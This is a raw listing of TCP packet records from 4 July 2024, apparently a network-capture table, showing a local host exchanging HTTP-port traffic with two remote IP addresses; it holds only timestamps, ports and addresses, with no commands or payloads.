Jul 4, 2024 22:20:33.512871981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512871981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512883902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512893915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512897015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512911081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512937069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513151884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513200045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513214111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513225079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513253927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513264894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513288975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513299942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513334990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513360023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513402939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513422012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513432980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513469934 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513488054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513499975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513528109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513537884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513561964 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513721943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513762951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513776064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513787985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513817072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.513849974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513861895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.513896942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.592437983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592448950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592516899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.592592955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592643023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.592655897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592667103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592696905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.592833996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592849016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592859983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592869997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.592875957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.592907906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593019009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593028069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593044043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593056917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593069077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593072891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593084097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593086004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593095064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593106985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593107939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593120098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593135118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593158960 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593312979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593324900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593363047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593470097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593481064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593492031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593502998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593513012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593514919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593528986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593535900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593544960 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593545914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593558073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593569040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593573093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593580008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593588114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593592882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593600035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593604088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593619108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593630075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593631029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.593646049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.593671083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.595433950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595480919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.595514059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595525980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595558882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.595582962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595593929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595603943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595630884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.595643997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.595707893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595719099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595729113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595738888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595752001 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.595777035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.595830917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595840931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.595870972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.623872042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.628735065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.805908918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.805919886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.805934906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.805962086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.805989027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806113958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806123972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806133986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806152105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806163073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806169987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806169987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806176901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806189060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806200027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806210041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806230068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806230068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806251049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806305885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806318045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806345940 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806384087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806448936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806459904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806468964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806479931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806493044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806498051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806507111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.806509018 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806528091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.806538105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.817496061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817507029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817517996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817549944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.817578077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.817648888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817660093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817670107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817682028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817686081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.817733049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.817733049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.817769051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817780018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817790031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.817806959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.817831039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.818521023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818530083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818583012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.818607092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818658113 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.818670988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818685055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818718910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.818718910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.818756104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818766117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818775892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818846941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.818846941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.818882942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818892956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818905115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.818934917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.818934917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.819036007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819077969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.819097042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819109917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819135904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.819168091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819169044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.819178104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819212914 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.819247961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.819299936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819309950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819315910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819322109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819333076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.819346905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.819370985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.819391966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822166920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822208881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822218895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822244883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822244883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822259903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822288990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822299004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822309017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822319984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822339058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822339058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822372913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822473049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822484970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822494984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822504044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.822530985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822530985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.822551966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.826612949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826646090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826690912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.826690912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.826736927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826751947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826762915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826772928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826780081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.826802969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.826816082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826822996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.826845884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826857090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826869011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.826869011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.826930046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.829356909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:34.023416042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:34.023416042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:34.028258085 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:34.028301954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:34.952094078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:34.954083920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:34.990552902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:34.997395992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:35.181965113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:35.181979895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:35.181991100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:35.182045937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:35.182117939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:35.184269905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:35.189069986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:35.396087885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:35.396171093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:35.411222935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:35.417361975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:36.095993996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:36.096071959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:36.130230904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:36.135639906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:36.924087048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:36.924175978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:36.926877022 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:36.931718111 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:36.931797028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:36.931893110 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:36.936747074 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624068022 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624085903 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624098063 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624155998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624159098 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.624169111 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624181986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624211073 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.624232054 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.624404907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624417067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624428988 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624440908 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.624449968 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.624474049 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.624496937 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.629196882 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.629261971 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.629348040 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.629404068 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.743815899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.743861914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.743882895 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.743896961 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.743944883 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.743944883 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.743949890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.743962049 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.743993044 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.744035006 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.744276047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.744324923 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.744329929 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.744338036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.744374037 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.744410038 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.744427919 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.744441032 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.744477987 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.744535923 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.745093107 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.745146036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.745146990 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.745161057 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.745193958 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.745229006 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.745265007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.745276928 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.745321035 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.745989084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.746043921 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.746089935 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.746102095 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.746145010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.746237040 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.746256113 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.746299982 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.746829033 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.746902943 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.746992111 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.747047901 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.748891115 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.748950958 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.748976946 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.749027014 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861077070 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861141920 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861267090 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861279011 CEST	80	49711	77.91.77.81	192.168.2.5
